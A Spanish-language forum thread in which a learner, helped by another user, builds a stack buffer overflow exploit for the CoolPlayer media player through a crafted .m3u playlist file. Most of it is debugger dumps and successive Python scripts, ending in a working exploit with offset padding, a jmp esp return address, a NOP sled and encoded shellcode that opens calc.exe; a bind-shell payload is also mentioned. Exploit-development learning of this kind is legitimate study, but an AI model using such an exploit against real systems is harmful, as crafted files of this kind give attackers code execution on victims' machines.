Buenos días,
Estoy siguiendo un "paper" y quería que me resolvierais algunas dudas que tengo.
Paper: http://www.exploit-db.com/download_pdf/17971
Os posteo el histórico que he hecho.
creo un script en python para que genere un archivo .m3u
Código:
buffer =
payload = (buffer)
f = open("Exploit.m3u","wb")
f.write(payload)
f.close()
Creo con pattern_create un string de 1000 caracteres. y el resultado lo pego en el script que he comentado, quedando de la siguiente manera:
Código:
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
payload = (buffer)
f = open("Exploit.m3u","wb")
f.write(payload)
f.close()
Una vez ejecuto el script, este genera el archivo.
Con Ollydbg abro el archivo causando un desbordamiento:
Código:
CPU - main thread
EAX 00000000
ECX 00000000
EDX 001220B0 ASCII "C:\Users\cprados\Desktop\exploit\Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6A
EBX 0038B658 ASCII "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7A
ESP 001221B8 ASCII "Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4A
EBP 000003E9
ESI 00122990 ASCII "C:\Users\cprados\Desktop\exploit\Exploit.m3u"
EDI 000003E8
EIP 36684135
C 0 ES 0023 32bit 0(FFFFFFFF)
P 1 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
Z 0 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 003B 32bit 7FFDF000(4000)
T 0 GS 0000 NULL
D 0
O 0 LastErr 00000000 ERROR_SUCCESS
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)
ST0 empty 1.9909870777517070580e+1958
ST1 empty -2.9727283095472006590e-1400
ST2 empty 9.1910189915361154180e+2175
ST3 empty +UNORM 145F 0BA568B6 FA5EEA55
ST4 empty -1.9778078459257461330e-656
ST5 empty 1.2054646051545530210e+616
ST6 empty 1.0000000000000000000
ST7 empty 22.000000000000000000
3 2 1 0 E S P U O Z D I
FST 0020 Cond 0 0 0 0 Err 0 0 1 0 0 0 0 0 (GT)
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1
Last cmnd 001B:76D1EC2A msvcrt.76D1EC2A
XMM0 00000000 00000000 00000000 00000000
XMM1 437984EC 66EF3DF2 CB1BEEFF 8C267657
XMM2 ED3EE9DB FB1A9069 9795720B FD1C8C47
XMM3 67839EC8 8E3B1C5C 2CD66001 3F5CD3EE
XMM4 1A014E73 BF9FF4DA B1A9F74D 39E90125
XMM5 5F38FD76 69B87053 30B4A6C2 CE27E325
XMM6 470B8912 21C0E7A4 E3B1A8C3 1A82EC9B
XMM7 19FC0166 BFBCD0C4 3B21C6ED D37B00F5
P U O Z D I
MXCSR 00001F80 FZ 0 DZ 0 Err 0 0 0 0 0 0
Rnd NEAR Mask 1 1 1 1 1 1
Ahora calculo el tamaño exacto que sobreescribe la pila con pattern_offset del EIP 36684135.
El resultado es 227 por lo que modifico el script de nuevo quedando así:
Código:
buffer = "A" * 227
payload = (buffer)
f = open("Exploit.m3u","wb")
f.write(payload)
f.close()
Vuelvo a abrir Ollydbg y ejecuto el archivo, posteo la salida:
Código:
CPU - main thread
EAX 00000000
ECX 00000000
EDX 001220B0 ASCII "C:\Users\cprados\Desktop\exploit\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EBX 00029CC0 ASCII 41,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
ESP 001221B8
EBP 000000E4
ESI 00122990 ASCII "C:\Users\cprados\Desktop\exploit\Exploit.m3u"
EDI 000000E3
EIP ABABABBA
C 0 ES 0023 32bit 0(FFFFFFFF)
P 1 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
Z 0 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 003B 32bit 7FFDF000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr 00000000 ERROR_SUCCESS
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)
ST0 empty -??? FFFF 00000000 00000000
ST1 empty -??? FFFF 00FF00FF 00FF00FF
ST2 empty -??? FFFF 00000000 00000000
ST3 empty -??? FFFF 00B200C3 00E700F9
ST4 empty -NAN FFFF B3C4E8FA FF787878
ST5 empty -??? FFFF 00B300C4 00E800FA
ST6 empty 1.0000000000000000000
ST7 empty 22.000000000000000000
3 2 1 0 E S P U O Z D I
FST 0020 Cond 0 0 0 0 Err 0 0 1 0 0 0 0 0 (GT)
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1
Last cmnd 001B:76D1EC2A msvcrt.76D1EC2A
XMM0 00000000 00000000 00000000 00000000
XMM1 00000000 00000000 00000000 00000000
XMM2 00000000 00000000 00000000 00000000
XMM3 00000000 00000000 00000000 26000000
XMM4 61007200 70006300 00000000 00000000
XMM5 00003100 4E001600 00007300 6F006400
XMM6 706F746B 73654400 11000000 00000000
XMM7 00000000 000000BE EF000400 07003800
P U O Z D I
MXCSR 00001F80 FZ 0 DZ 0 Err 0 0 0 0 0 0
Rnd NEAR Mask 1 1 1 1 1 1
Código:
CPU Stack
Address Value ASCII Comments
001221B8 ABABABAB ««««
001221BC EEFEEEAB «îþî
001221C0 000000FE þ
001221C4 00122990 �) ; ASCII "C:\Users\cprados\Desktop\exploit\Exploit.m3u"
001221C8 00000003
001221CC 00000021 !
001221D0 75D3D3D6 ÖÓÓu ; kernel32.lstrcpyA
001221D4 00122B9D �+ ; ASCII "Exploit.m3u"
001221D8 75D3D429 )ÔÓu ; kernel32.lstrcatA
001221DC 00000000
001221E0 000002FC ü
001221E4 00000003
001221E8 00000021 !
001221EC 00000000
001221F0 000000E3 ã
001221F4 00000047 G
001221F8 7713DF26 &ßw ; RETURN from ntdll.RtlFillMemoryUlong to ntdll.7713DF26
001221FC 001222E0 à"
00122200 770DF0F2 òð
w ; RETURN from ntdll.770DF0BE to ntdll.770DF0F2
00122204 77122447 G$w ; RETURN from ntdll.7710481D to ntdll.77122447
00122208 0012A021 !*
0012220C 001B0000
00122210 00000000
00122214 00000000
00122218 001B0148 H
0012221C 000000E3 ã
00122220 41414141 AAAA
00122224 41414141 AAAA
00122228 41414141 AAAA
0012222C 41414141 AAAA
00122230 41414141 AAAA
00122234 41414141 AAAA
00122238 41414141 AAAA
0012223C 41414141 AAAA
00122240 41414141 AAAA
00122244 41414141 AAAA
00122248 41414141 AAAA
0012224C 41414141 AAAA
00122250 41414141 AAAA
00122254 41414141 AAAA
Entonces aqui vienen mis preguntas...
¿Por que EIP no se sobreescribe con "A", EIP ABABABBA ?
En el paper el tio usa 207 caracteres a diferencia de los 227 que me ha calculado el pattern_offset, ¿por que?
Luego comenta que con findjmp intenta encontrar direcciones válidas para hacer saltar luego a nuestra shellcode, no entiendo esta parte, es más no se que librería he de buscar...
De momento es todo porque no quiero seguir con el tuto sin aclarar estas cosas...
Disculpad por la chapa que os he dado y de nuevo disculpas si esto no va a aquí.
Gracias a todos.
Hola rockhound,
Citar
Entonces aqui vienen mis preguntas...
¿Por que EIP no se sobreescribe con "A", EIP ABABABBA ?
De mi parte no tengo idea, tendrias que depurarlo un poco mas para encontrar el momento donde se sobreescribe el eip.
Citar
En el paper el tio usa 207 caracteres a diferencia de los 227 que me ha calculado el pattern_offset, ¿por que?
Para mi que es porque el path que el tiene es mas largo que el tuyo (C:\Users\cprados\Desktop\exploit\), por eso necesitas mas "A".
Citar
Luego comenta que con findjmp intenta encontrar direcciones válidas para hacer saltar luego a nuestra shellcode, no entiendo esta parte, es más no se que librería he de buscar...
Tenes que buscar en las librerias que carga coolplayer.exe, en el olly podes ver todos los modulos cargados. A findjmp le tenes que indicar la dll y te va a encontrar un "jmp esp" o algo parecido para poder saltar a la pila que es donde deberias poner tu shellcode.
No sabia que la longitud del path pudiera ser la causa...
miraré de nuevo poniendolo en el mismo sitio que el reproductor.
gracias por aclararme lo del jmp hago pruebas y os comento
gracias!!
He movido tanto el ejecutable como el exploit a C:\CoolPlayer219_Bin
he creado de nuevo el script con los 1000 caracteres de pattern_create
y al lanzarlo me da un EIP distinto, por lo que el tema del path que me comentabas es cierto que varía.
CPU - main thread
EAX 00000000
ECX 00000000
EDX 001220B0 ASCII "C:\CoolPlayer219_Bin\Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0A
EBX 008BAAB0 ASCII "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7A
ESP 001221B8 ASCII "Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8A
EBP 000003E9
ESI 00122990 ASCII "C:\CoolPlayer219_Bin\Exploit.m3u"
EDI 000003E8
EIP 30694139
C 0 ES 0023 32bit 0(FFFFFFFF)
P 1 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
Z 0 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 003B 32bit 7FFDF000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr 00000000 ERROR_SUCCESS
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)
ST0 empty -??? FFFF 00000000 00000000
ST1 empty -??? FFFF 00FF00FF 00FF00FF
ST2 empty -??? FFFF 00000000 00000000
ST3 empty -??? FFFF 00B200C3 00E700F9
ST4 empty -NAN FFFF B3C4E8FA FF787878
ST5 empty -??? FFFF 00B300C4 00E800FA
ST6 empty 1.0000000000000000000
ST7 empty 22.000000000000000000
3 2 1 0 E S P U O Z D I
FST 0020 Cond 0 0 0 0 Err 0 0 1 0 0 0 0 0 (GT)
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1
Last cmnd 001B:7720EC2A msvcrt.7720EC2A
XMM0 00000000 00000000 00000000 00000000
XMM1 00000000 00000000 00000000 00000000
XMM2 00640061 00340039 00390036 007B0023
XMM3 002D0066 00650033 0039002D 00340030
XMM4 00630033 0061002D 00300064 00310031
XMM5 00390063 00300061 00300030 002D0063
XMM6 005C007D 00360039 00310033 00320032
XMM7 0065006E 0069004C 00720061 00650052
P U O Z D I
MXCSR 00001F80 FZ 0 DZ 0 Err 0 0 0 0 0 0
Rnd NEAR Mask 1 1 1 1 1 1
con pattern_offset obtengo el resultado "239" y con él, vuelvo a modificar el script, lo lanzo de nuevo y obtengo el mismo EIP Extraño de antes...
CPU - main thread
EAX 00000000
ECX 00000000
EDX 001220B0 ASCII "C:\CoolPlayer219_Bin\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EBX 009FA5E0 ASCII 41,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
ESP 001221B8
EBP 000000F0
ESI 00122990 ASCII "C:\CoolPlayer219_Bin\Exploit.m3u"
EDI 000000EF
EIP [b]ABABABBA[/b]
C 0 ES 0023 32bit 0(FFFFFFFF)
P 1 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
Z 0 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 003B 32bit 7FFDF000(4000)
T 0 GS 0000 NULL
D 0
O 0 LastErr 00000000 ERROR_SUCCESS
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)
ST0 empty -??? FFFF 000000FF 00FF00FF
ST1 empty -??? FFFF 00000000 00868992
ST2 empty -??? FFFF 00010001 00010001
ST3 empty -??? FFFF 00FE00F2 00F200F2
ST4 empty -NAN FFFF FFF3F3F3 FFF3F3F3
ST5 empty -??? FFFF 00000000 00000000
ST6 empty 1.0000000000000000000
ST7 empty 22.000000000000000000
3 2 1 0 E S P U O Z D I
FST 0020 Cond 0 0 0 0 Err 0 0 1 0 0 0 0 0 (GT)
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1
Last cmnd 001B:7720EC2A msvcrt.7720EC2A
XMM0 00000000 00000000 00000000 00000000
XMM1 0063005C 00730072 00650073 0075005C
XMM2 0061005C 0073006F 00640061 00720070
XMM3 006C005C 00610074 00610064 00700070
XMM4 00630069 006D005C 006C0061 0063006F
XMM5 006F005C 00740066 006F0073 006F0072
XMM6 00720067 005C0065 00630069 00660066
XMM7 00650073 0075005C 00650076 006F006F
P U O Z D I
MXCSR 00001F80 FZ 0 DZ 0 Err 0 0 0 0 0 0
Rnd NEAR Mask 1 1 1 1 1 1
CitarCPU Stack
Address Value ASCII Comments
0012208C 7763ADD3 Ócw
00122090 FFFFFFFE þÿÿÿ
00122094 0040CA2A *Ê@ ; RETURN from coolplayer.0040BFC0 to coolplayer.0040CA2A
00122098 ABABABAB ««««
0012209C 001220B0 ° ; ASCII "C:\CoolPlayer219_Bin\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...
001220A0 00000000
001220A4 000000EF ï
001220A8 00122990 ) ; ASCII "C:\CoolPlayer219_Bin\Exploit.m3u"
001220AC 009FA5E0 य़ ; ASCII 41,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
001220B0 435C3A43 C:\C
001220B4 506C6F6F oolP
001220B8 6579616C laye
001220BC 39313272 r219
001220C0 6E69425F _Bin
001220C4 4141415C \AAA
001220C8 41414141 AAAA
001220CC 41414141 AAAA
001220D0 41414141 AAAA
001220D4 41414141 AAAA
001220D8 41414141 AAAA
001220DC 41414141 AAAA
001220E0 41414141 AAAA
001220E4 41414141 AAAA
001220E8 41414141 AAAA
001220EC 41414141 AAAA
001220F0 41414141 AAAA
001220F4 41414141 AAAA
001220F8 41414141 AAAA
001220FC 41414141 AAAA
00122100 41414141 AAAA
00122104 41414141 AAAA
00122108 41414141 AAAA
0012210C 41414141 AAAA
00122110 41414141 AAAA
00122114 41414141 AAAA
00122118 41414141 AAAA
0012211C 41414141 AAAA
00122120 41414141 AAAA
00122124 41414141 AAAA
00122128 41414141 AAAA
0012212C 41414141 AAAA
00122130 41414141 AAAA
00122134 41414141 AAAA
00122138 41414141 AAAA
0012213C 41414141 AAAA
00122140 41414141 AAAA
00122144 41414141 AAAA
00122148 41414141 AAAA
0012214C 41414141 AAAA
00122150 41414141 AAAA
00122154 41414141 AAAA
00122158 41414141 AAAA
0012215C 41414141 AAAA
00122160 41414141 AAAA
00122164 41414141 AAAA
00122168 41414141 AAAA
0012216C 41414141 AAAA
00122170 41414141 AAAA
00122174 41414141 AAAA
00122178 41414141 AAAA
0012217C 41414141 AAAA
00122180 41414141 AAAA
00122184 41414141 AAAA
00122188 41414141 AAAA
0012218C 41414141 AAAA
00122190 41414141 AAAA
00122194 41414141 AAAA
00122198 41414141 AAAA
0012219C 41414141 AAAA
001221A0 41414141 AAAA
001221A4 41414141 AAAA
001221A8 41414141 AAAA
001221AC 41414141 AAAA
001221B0 41414141 AAAA
001221B4 ABABABBA º«««
001221B8 ABABABAB ««««
001221BC 001200AB «
001221C0 00000000
001221C4 00122990 ) ; ASCII "C:\CoolPlayer219_Bin\Exploit.m3u"
001221C8 00000003
001221CC 00000015
No entiendo nada....
Agradecería una manita gente!!
Gracias.
Me fije en la doc y pattern_offset te dice la cantidad de bytes a rellenar antes de alcanzar el eip de retorno. Para llegar al eip tenes que meterle 239 bytes y los 4 siguientes (arch de 32 bits) serian el eip.
buffer = "A" * 239 + "\xef\xbe\xad\xde"
payload = (buffer)
f = open("Exploit.m3u","wb")
f.write(payload)
f.close()
"\xef\xbe\xad\xde"
donde has visto esa parte??
muchisimas gracias!
ya empiezo a ver algo de luz :D
En la wiki de metasploit ;)
:http://en.wikibooks.org/wiki/Metasploit/WritingWindowsExploit
CitarThen we use patternOffset to know the number of characters to send before hitting EIP
GL!
pero quiero decir esta cadena
"\xef\xbe\xad\xde"
de donde has sacado esto.
Thanks
Ah, se la agregue yo nomas, con ese valor se deberia sobreescribir el eip (0xdeadbeef), te funciono?
Cuando agrego "\xef\xbe\xad\xde" al exploit el resultado es el mismo, la EIP no varía...
no entiendo que diferencia hay.
me puedes explicar esto?
ah, pense que te habia funcionado... seguis viendo en eip 0xabababba ?
La sobreescritura del eip debe variar segun el tamano del buffer, o bien el programa mismo te modifica los ultimos bytes, no te queda otra que depurarlo mucho mas.
Proba sino de generar un pattern de por ej. 256 bytes y con offset_pattern sacas el desplazamiento y haces siempre el bof con un buffer de 256 bytes (metiendo el eip donde tiene que ser), asi te evitas al menos el primer factor que te comentaba.
Bueno, te cuento mis avances...
he empezado de nuevo y creo que algo mas entiendo... vamos a ver,
pattern_offset me da 227 pero si meto \x41 * 227 veo en el stack que me quedan un par de filas por rellenar,
en cambio si agrego \x41 * 231 + "\xef\xbe\xad\xde"
si veo que ESP toma el valor 0xdeadbeef mientras que EIP tiene "\x41\x41\x41\x41" como valor...
lo he hecho bien? o EIP tiene que tener como valor 0xdeadbeef...
supongo que tendrá que ser ESP ya que es lo siguiente que se ejecuta en la pila...
:-\
VALE!!!!! Conseguido porfín!!! jajajajaj
Madre mia que locura...
Comento lo que he hecho...
buffer = "A" * 227
RET = "\xE1\xFA\xDA\x75"
nops = "\x90" * 26
shellcode = ("\xb8\x20\x65\x02\x44\xdb\xc2\xd9\x74\x24\xf4\x5a\x33\xc9"
"\xb1\x32\x31\x42\x12\x03\x42\x12\x83\xca\x99\xe0\xb1\xf6"
"\x8a\x6c\x39\x06\x4b\x0f\xb3\xe3\x7a\x1d\xa7\x60\x2e\x91"
"\xa3\x24\xc3\x5a\xe1\xdc\x50\x2e\x2e\xd3\xd1\x85\x08\xda"
"\xe2\x2b\x95\xb0\x21\x2d\x69\xca\x75\x8d\x50\x05\x88\xcc"
"\x95\x7b\x63\x9c\x4e\xf0\xd6\x31\xfa\x44\xeb\x30\x2c\xc3"
"\x53\x4b\x49\x13\x27\xe1\x50\x43\x98\x7e\x1a\x7b\x92\xd9"
"\xbb\x7a\x77\x3a\x87\x35\xfc\x89\x73\xc4\xd4\xc3\x7c\xf7"
"\x18\x8f\x42\x38\x95\xd1\x83\xfe\x46\xa4\xff\xfd\xfb\xbf"
"\x3b\x7c\x20\x35\xde\x26\xa3\xed\x3a\xd7\x60\x6b\xc8\xdb"
"\xcd\xff\x96\xff\xd0\x2c\xad\xfb\x59\xd3\x62\x8a\x1a\xf0"
"\xa6\xd7\xf9\x99\xff\xbd\xac\xa6\xe0\x19\x10\x03\x6a\x8b"
"\x45\x35\x31\xc1\x98\xb7\x4f\xac\x9b\xc7\x4f\x9e\xf3\xf6"
"\xc4\x71\x83\x06\x0f\x36\x7b\x4d\x12\x1e\x14\x08\xc6\x23"
"\x79\xab\x3c\x67\x84\x28\xb5\x17\x73\x30\xbc\x12\x3f\xf6"
"\x2c\x6e\x50\x93\x52\xdd\x51\xb6\x30\x80\xc1\x5a\xb7")
payload = (buffer +RET +nops +shellcode)
f = open("Exploit.m3u","wb")
f.write(payload)
f.close()
Y listo, nunca me he alegrado tanto de ver el calc.exe en todo su esplendor...
El jmp esp del kernel32.dll no funcionaba y he usado una de user32.dll
aunque me queda una duda... y es para que sirven los nops realmente...
cuando voy a follow stack veo que desde que he sobreescrito EIP hasta que veo de nuevo lineas "AAAA" pasan 26 líneas, de ahi el "\x90" * 26 de arriba, aunque he probado poniendo 30 y seguía funcionando el exploit.
Acabo de probar a poner otra shellcode y me da error... por lo que entiendo que he superado el espacio disponible para la shellcode... me podéis decir como se calcula ese espacio?
voy a probar a meter un pattern donde iria la shellcode... digo yo que me dirá de cuanto espacio dispongo... no??
Muchas gracias Ivanchuk por todo!
Buenisimo!! Un nuevo exploiter en la comunidad :-)
Citar
aunque me queda una duda... y es para que sirven los nops realmente...
cuando voy a follow stack veo que desde que he sobreescrito EIP hasta que veo de nuevo lineas "AAAA" pasan 26 líneas, de ahi el "\x90" * 26 de arriba, aunque he probado poniendo 30 y seguía funcionando el exploit.
Los nops se usan para darle una cierta libertad a la direccion de retorno al stack, en tu caso la direccion es siempre fija (=esp despues del jmp esp en user32) y se encuentra justo despues del ret. Si le sacas los nops deberia seguir funcionando.
CitarAcabo de probar a poner otra shellcode y me da error... por lo que entiendo que he superado el espacio disponible para la shellcode... me podéis decir como se calcula ese espacio?
voy a probar a meter un pattern donde iria la shellcode... digo yo que me dirá de cuanto espacio dispongo... no??
Me parece raro que hayas superado el espacio reservado para el stack porque vi que probaste con un pattern_create de 1000 bytes y paso sin problemas. El error debe estar en la shellcode que le pusistes. Posteala aca para verla sino.
Meterle un pattern donde iria la shellcode no te va a decir cuanto espacio tenes disponible, imagino que eso lo podes ver en la info del ejecutable (PE), al menos en los elf aparece. Sino mas facil, anda hasta abajo del todo en la sección de stack y fijate donde termina jeje.
Usé una shellcode que saqué con msfpayload, un windows\bind tcp por el puerto 1234
quizás no la generé bien... tengo que seguir probando.